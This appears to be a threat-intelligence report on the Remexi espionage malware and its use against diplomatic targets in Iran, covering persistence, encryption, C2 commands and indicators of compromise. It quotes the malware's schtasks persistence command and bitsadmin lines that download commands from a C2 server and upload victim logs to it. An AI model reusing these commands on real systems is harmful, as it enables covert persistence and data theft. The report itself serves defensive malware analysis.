Throughout the autumn of 2018 we analyzed a long-standing (and still active at that time) cyber-espionage campaign that was primarily targeting foreign diplomatic entities based in Iran. The attackers were using an improved version of Remexi in what the victimology suggests might be a domestic cyber-espionage operation. This malware has previously been associated with an APT actor that Symantec calls Chafer.
The malware can exfiltrate keystrokes, screenshots, browser-related data like cookies and history, decrypted when possible. The attackers rely heavily on Microsoft technologies on both the client and server sides: the Trojan uses standard Windows utilities like Microsoft Background Intelligent Transfer Service (BITS) bitsadmin.exe to receive commands and exfiltrate data. Its C2 is based on IIS using .asp technology to handle the victims’ HTTP requests.
Remexi developers use the C programming language and GCC compiler on Windows in the MinGW environment. They most likely used the Qt Creator IDE in a Windows environment. The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive.
XOR and RC4 encryption is used with quite long unique keys for different samples. Among all these random keys once the word “salamati” was also used, which means “health” in Farsi.
Kaspersky Lab products detect the malware described in this report as Trojan.Win32.Remexi and Trojan.Win32.Agent. This blogpost is based in our original report shared with our APT Intelligence Reporting customers last November 2018. For more information please contact: email@example.com
The main tool used in this campaign is an updated version of the Remexi malware, publicly reported by Symantec back in 2015. The newest module’s compilation timestamp is March 2018. The developers used GCC compiler on Windows in the MinGW environment.
Inside the binaries the compiler left references to the names of the C source file modules used: “operation_reg.c”, “thread_command.c” and “thread_upload.c”. Like mentioned in modules file names the malware consists of several working threads dedicated to different tasks, including C2 command parsing and data exfiltration. For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP.
So far, our telemetry hasn’t provided any concrete evidence that shows us how the Remexi malware spread. However, we think it’s worth mentioning that for one victim we found a correlation between the execution of Remexi´s main module and the execution of an AutoIt script compiled as PE, which we believe may have dropped the malware. This dropper used an FTP with hardcoded credentials to receive its payload. FTP server was not accessible any more at the time of our analysis.
Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remote commands. Encryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victim’s data.
Remexi includes different modules that it deploys in its working directory, including configuration decryption and parsing, launching victim activity logging in a separate module, and seven threads for various espionage and auxiliary functions. The Remexi developers seem to rely on legitimate Microsoft utilities, which we enumerate in the table below.
|extract.exe||Deploys modules from the .cab file into the working Event Cache directory|
|bitsadmin.exe||Fetches files from the C2 server to parse and execute commands. Send exfiltrated data|
|taskkill.exe||Ends working cycle of modules|
Persistence modules are based on scheduled tasks and system registry. Mechanisms vary for different OS versions. In the case of old Windows versions like XP, main module events.exe runs an edited XPTask.vbs Microsoft sample script to create a weekly scheduled task for itself. For newer operating systems, events.exe creates task.xml as follows:
Then it creates a Windows scheduled task using the following command:
schtasks.exe /create /TN \"Events\\CacheTask_<user_name_here>" /XML \"<event_cache_dir_path>t /F"
At the system registry level, modules achieve persistence by adding themselves into the key:
when it finds possible add values to the Winlogon subkey, and in
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager. All such indicators of comprometation are mentioned in correspondent appendix below.
All the commands received from the C2 are first saved to an auxiliary file and then stored encrypted in the system registry. The standalone thread will decrypt and execute them.
|search||Searches for corresponding files|
|search&upload||Encrypts and adds the corresponding files to the upload directory with the provided name|
|uploadfile||Encrypts and adds the specified file to the upload directory with the provided name|
|uploadfolder||Encrypts and adds the mentioned directory to the upload directory with the provided name|
|shellexecute||Silently executes received command with cmd.exe|
|wmic||Silently executes received command with wmic.exe (for WMI commands)|
|sendIEPass||Encrypts and adds all gathered browser data into files for upload to C2|
|uninstall||Removes files, directory and BITS tasks|
To decrypt the configuration data, the malware uses XOR with 25-character keys such as “waEHleblxiQjoxFJQaIMLdHKz” that are different for every sample. RC4 file encryption relies on the Windows 32 CryptoAPI, using the provided value’s MD5 hash as an initial vector. Among all these random keys once the word “salamati” was also used, which means “health” in Farsi.
Config.ini is the file where the malware stores its encrypted configuration data. It contains the following fields:
|diskFullityCheckRatio||1.4||Malware working directory size threshold. It will be deleted if it becomes as large as the free available space multiplied by this ratio|
|captureScreenTimeOut||72||Probability of full and active window screenshots being taken after mouse click|
|captureScreenQC||40||Not really used. Probably full and active window screenshot quality|
|Window titles of interest for screenshots, using left mouse button and Enter keypress hook|
|List of files to send to C2 using bitsadmin.exe from the dedicated thread|
|maxUpFileSizeKByte||1000000||Maximum size of file uploaded to C2|
|Servers||http://18.104.22.168||Control server HTTP URL|
|ZipPass||KtJvOXulgibfiHk||Password for uploaded zip archives|
|browserPasswordCheckTimeout||300000||Milliseconds to wait between gathering key3.db, cookies.sqlite and other browser files in dedicated thread|
Most of the parameters are self-explanatory. However, captureScreenTimeOut and captureActiveWindowTimeOut are worth describing in more detail as their programming logic is not so intuitive.
One of the malware threads checks in an infinite loop if the mouse button was pressed and then also increments the integer iterator infinitely. If the mouse hooking function registers a button hit, it lets the screenshotting thread know about it through a global variable. After that, it checks if the iterator divided by (captureScreenTimeOut/captureActiveWindowTimeOut) has a remainder of 0. In that case, it takes a screenshot.
Main module (events.exe)
|Compiled||GCC compiler in MinGW environment version 2.24, timestamp set to 1970 by compiler|
|Type||I386 Windows GUI EXE|
After checking that the malware is not already installed, it unpacks HCK.cab using the Microsoft standard utility expand.exe with the following arguments:
expand.exe -r \"<full path to HCK.cab>\" -f:* \"<event_cache_dir_path>\\\"
Then it decrypts config.ini file with a hardcoded 25-byte XOR key that differs for every sample. It sets keyboard and mouse hooks to its handlekeys() and MouseHookProc() functions respectively and starts several working threads:
|1||Gets commands from C2 and saves them to a file and system registry using the bitsadmin.exe utility|
|2||Decrypts command from registry using RC4 with a hardcoded key, and executes it|
|3||Transfers screenshots from the clipboard to \Cache005 subdirectory and Unicode text from clipboard to log.txt, XOR-ed with the “salamati” key (“health” in Farsi)|
|4||Transfers screenshots to \Cache005 subdirectory with captureScreenTimeOut and captureScreenTimeOut frequencies|
|5||Checks network connection, encrypts and sends gathered logs|
|6||Unhooks mouse and keyboard, removes bitsadmin task|
|7||Checks if malware’s working directory size already exceeds its threshold|
|8||Gathers victim´s credentials, visited website cache, decrypted Chrome login data, as well as Firefox databases with cookies, keys, signons and downloads|
The malware uses the following command to receive data from its C2:
bitsadmin.exe /TRANSFER HelpCenterDownload /DOWNLOAD /PRIORITY normal <server> <file>
Activity logging module (Splitter.exe)
This module is called from the main thread to obtain screenshots of windows whose titles are specified in the configuration CaptureSites field, bitmaps and text from clipboard, etc.
|Compiled||2017.08.06 11:32:36 (GMT), 2.22|
|Type||I386 Windows Console EXE|
Instead of implementing this auxiliary module in the form of a dynamic linked library with its corresponding exported functions, the developers decided to use a standalone executable started by events.exe with the following parameters:
|-scr||Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration. Can capture all screen (“AllScreen”) or the active window (“ActiveWindow”)|
|-ms||Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration. Specifies the screen coordinates to take|
|-zip||Name of password (from configuration data) protected zip archive|
|-clipboard||Screenshot file name where a bitmap from the clipboard is saved in Cache005 subdirectory, zipped with password from configuration|
Exfiltration is done through the bitsadmin.exe utility. The BITS mechanism has existed since Windows XP up to the current Windows 10 versions and was developed to create download/upload jobs, mostly to update the OS itself. The following is the command used to exfiltrate data from the victim to the C2:
bitsadmin.exe /TRANSFER HelpCenterUpload /UPLOAD /PRIORITY normal "<control_server>/YP01_<victim_fingerprint>_<log_file_name>" "<log_file_name>"
The vast majority of the users targeted by this new variant of Remexi appear to have Iranian IP addresses. Some of these appear to be foreign diplomatic entities based in the country.
The Remexi malware has been associated with an APT actor called Chafer by Symantec.
One of the human-readable encryption keys used is “salamati”. This is probably the Latin spelling for the word “health” in Farsi. Among the artifacts related to malware authors, we found in the binaries a .pdb path containing the Windows user name “Mohamadreza New”. Interestingly, the FBI website for wanted cybercriminals includes two Iranians called Mohammad Reza, although this could be a common name or even a false flag.
Activity of the Chafer APT group has been observed since at least 2015, but based on things like compilation timestamps and C&C registration, it’s possible they have been active for even longer. Traditionally, Chafer has been focusing on targets inside Iran, although their interests clearly include other countries in the Middle East.
We will continue to monitor how this set of activity develops in the future.
Indicators of compromise
Domains and IPs
Directory with malicious modules
Main malware directory: %APPDATA%\Microsoft\Event Cache
Commands from C2 in subdirectory: Cache001\cde00.acf
Events.exe persistence records in Windows system registry keys
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager
Victims’ fingerprints stored in
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData or
RC4 encrypted C2 commands stored in
HTTP requests template
And bitsadmin.exe task to external network resources, addressed by IP addresses